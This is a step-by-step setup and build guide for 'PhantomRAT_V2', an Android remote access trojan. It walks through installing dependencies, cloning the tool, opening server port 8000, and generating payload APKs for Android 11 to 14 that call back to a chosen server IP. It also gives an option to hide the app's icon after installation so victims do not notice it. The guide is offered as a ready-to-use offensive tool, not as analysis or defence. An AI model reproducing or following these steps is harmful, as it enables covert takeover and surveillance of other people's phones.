Complete installation and configuration guide
Update your system and install basic dependencies
sudo apt update && sudo apt upgrade -y
sudo apt install python3 python3-pip openjdk-11-jdk git wget -y
pkg update && pkg upgrade -y
pkg install python git openjdk-17 -y
Clone the repository from GitHub
git clone https://github.com/Ritusmin325k/PhantomRAT_V2.git
cd PhantomRAT_V2
Install necessary Python packages
pip3 install -r requirements.txt
Run the one-click Gradle installer
bash install_gradle_oneclick.sh
source ~/.bashrc # or source ~/.zshrc if using zsh
source ~/.bashrc after installing Gradle!
Check if all components are installed correctly
python3 rat.py --help
gradle --version
java -version
Determine your server IP address:
# Linux
ip addr show
# or
ifconfig
# Find your local IP (e.g., 192.168.1.100)
Allow the server port through your firewall:
# UFW (Ubuntu/Debian)
sudo ufw allow 8000/tcp
# Firewalld (CentOS/RHEL)
sudo firewall-cmd --permanent --add-port=8000/tcp
sudo firewall-cmd --reload
PhantomRAT supports separate payloads for different Android versions:
android_11 - For Android 11android_12 - For Android 12android_13 - For Android 13android_14 - For Android 14# Replace 192.168.1.100 with your server IP
python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -o phantom.apk
To hide the app icon after installation:
python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -o phantom.apk -hide_icon
Solution:
source ~/.bashrc
gradle --version
Solution: Install OpenJDK 11 or higher
sudo apt install openjdk-11-jdk -y
java -version
Solution: Clean and rebuild
cd Payloads/android_14
./gradlew clean
./gradlew assembleRelease
Solution: Make gradlew executable
chmod +x Payloads/android_14/gradlew